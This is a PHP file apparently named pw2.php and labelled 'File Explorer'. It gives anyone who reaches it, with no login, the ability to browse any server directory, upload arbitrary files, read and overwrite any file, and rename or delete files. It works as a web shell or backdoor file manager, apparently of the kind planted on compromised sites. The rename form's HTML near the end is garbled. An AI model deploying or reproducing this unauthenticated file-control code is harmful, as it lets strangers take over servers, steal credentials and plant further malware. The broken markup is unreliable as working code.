Edit File: pw2.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Explorer</title> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet"> </head> <body class="container my-4"> <?php // Set the current directory based on user selection, defaulting to the script's directory $currentDir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd(); chdir($currentDir); // Handle file upload if (isset($_FILES['uploaded_file']) && $_FILES['uploaded_file']['error'] == UPLOAD_ERR_OK) { $uploadFilePath = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['uploaded_file']['name']); if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadFilePath)) { echo "<p class='alert alert-success'>File uploaded successfully.</p>"; } else { echo "<p class='alert alert-danger'>File upload failed.</p>"; } } // Handle manual directory navigation if (isset($_POST['manual_path']) && is_dir($_POST['manual_path'])) { $currentDir = realpath($_POST['manual_path']); chdir($currentDir); } // Handle file rename if (isset($_POST['rename']) && isset($_POST['new_name']) && isset($_POST['old_name'])) { $oldPath = $currentDir . DIRECTORY_SEPARATOR . $_POST['old_name']; $newPath = $currentDir . DIRECTORY_SEPARATOR . $_POST['new_name']; if (file_exists($oldPath) && !file_exists($newPath)) { if (rename($oldPath, $newPath)) { echo "<p class='alert alert-success'>File renamed successfully.</p>"; } else { echo "<p class='alert alert-danger'>File rename failed.</p>"; } } else { echo "<p class='alert alert-danger'>Invalid file names for renaming.</p>"; } } // Handle file delete if (isset($_POST['delete']) && isset($_POST['file_name'])) { $filePath = $currentDir . DIRECTORY_SEPARATOR . $_POST['file_name']; if (is_file($filePath)) { if (unlink($filePath)) { echo "<p class='alert alert-success'>File deleted successfully.</p>"; } else { echo "<p class='alert alert-danger'>File deletion failed.</p>"; } } } // Handle file editing $fileContent = ''; if (isset($_GET['edit']) && is_file($_GET['edit'])) { $filePath = $_GET['edit']; if (isset($_POST['file_content'])) { if (file_put_contents($filePath, $_POST['file_content'])) { echo "<p class='alert alert-success'>File saved successfully.</p>"; } else { echo "<p class='alert alert-danger'>Failed to save file.</p>"; } } $fileContent = file_get_contents($filePath); } // Breadcrumb navigation $pathParts = explode(DIRECTORY_SEPARATOR, $currentDir); $breadcrumb = "<nav aria-label='breadcrumb'><ol class='breadcrumb'>"; $pathSoFar = ''; foreach ($pathParts as $part) { if ($part !== '') { $pathSoFar .= DIRECTORY_SEPARATOR . $part; $breadcrumb .= "<li class='breadcrumb-item'><a href='?dir=" . urlencode($pathSoFar) . "'>$part</a></li>"; } } $breadcrumb .= "</ol></nav>"; echo $breadcrumb; // Display edit form if a file is being edited if ($fileContent !== ''): ?> <h2>Editing File: <?= htmlspecialchars(basename($filePath)) ?></h2> <form method="POST"> <div class="form-group"> <textarea name="file_content" rows="20" class="form-control"><?= htmlspecialchars($fileContent) ?></textarea> </div> <button type="submit" class="btn btn-success">Save Changes</button> <a href="?" class="btn btn-secondary">Cancel</a> </form> <?php // Stop further script execution if editing mode is active exit; endif; ?> <!-- Upload form and Manual Path Input --> <div class="mb-4"> <form method="POST" class="form-inline"> <input type="text" name="manual_path" class="form-control mr-2" placeholder="Enter path to navigate" required> <button type="submit" class="btn btn-secondary">PATH</button> </form> </div> <!-- upload Modal --> <div class="mb-3"> <form method="POST" enctype="multipart/form-data" class="form-inline"> <table> <td><input type="file" name="uploaded_file" class="form-control-file mr-2" required></td> <td></td> <td><button type="submit" class="btn btn-primary">Upload File</button></td> </table> </form> </div> <!-- Files Table --> <table class='table table-striped table-bordered'> <thead class='thead-dark'> <tr> <th>Name</th> <th>Size (KB)</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach (scandir($currentDir) as $file): ?> <?php if ($file === '.' || $file === '..') continue; $filePath = $currentDir . DIRECTORY_SEPARATOR . $file; $size = is_file($filePath) ? filesize($filePath) : '-'; ?> <tr> <!-- Name column with directory navigation --> <td> <?php if (is_dir($filePath)): ?> <a href="?dir=<?= urlencode($filePath) ?>"><strong><?= htmlspecialchars($file) ?></strong></a> <?php else: ?> <?= htmlspecialchars($file) ?> <?php endif; ?> </td> <td><?= htmlspecialchars(round($size/1024),2) ?> kb</td> <td> <?php if (is_file($filePath)): ?> <a href="?edit=<?= urlencode($filePath) ?>" class="btn btn-sm btn-primary">Edit</a> <button class="btn btn-sm btn-warning" data-toggle="modal" data-target="#renameModal" data-file="<?= htmlspecialchars($file) ?>">Rename</button> <form method="POST" style="display:inline;"> <input type="hidden" name="file_name" value="<?= htmlspecialchars($file) ?>"> <button type="submit" name="delete" class="btn btn-sm btn-danger" onclick="return confirm('Are you sure you want to delete this file?');">Delete</button> </form> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <!-- Rename Modal --> <div class="modal fade" id="renameModal" tabindex="-1" role="dialog" aria-labelledby="renameModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="renameModalLabel">Rename File</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form method="POST"> <div class="modal-body"> <input type="hidden" name="old_name" id="oldName"> <div class="form-group"> <label for "newName">New Name:</label> <input type "text" class "form-control" name "new_name" id "newName" required /> </div > </div > <div class "modal-footer"> <button type "button" class "btn btn-secondary" data-dismiss "modal">Cancel</button > <<button type "submit" name "rename"class "btn btn-primary">Rename</button > </div > </form > </div > </div > </div > <script src ="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script > <script src ="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script > <script src ="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script > <script> // Script to handle file name input in the Rename modal $('#renameModal').on('show.bs.modal', function (event) { var button = $(event.relatedTarget); var fileName = button.data('file'); var modal = $(this); modal.find('#oldName').val(fileName); modal.find('#newName').val(fileName); }); </script > </body > </html >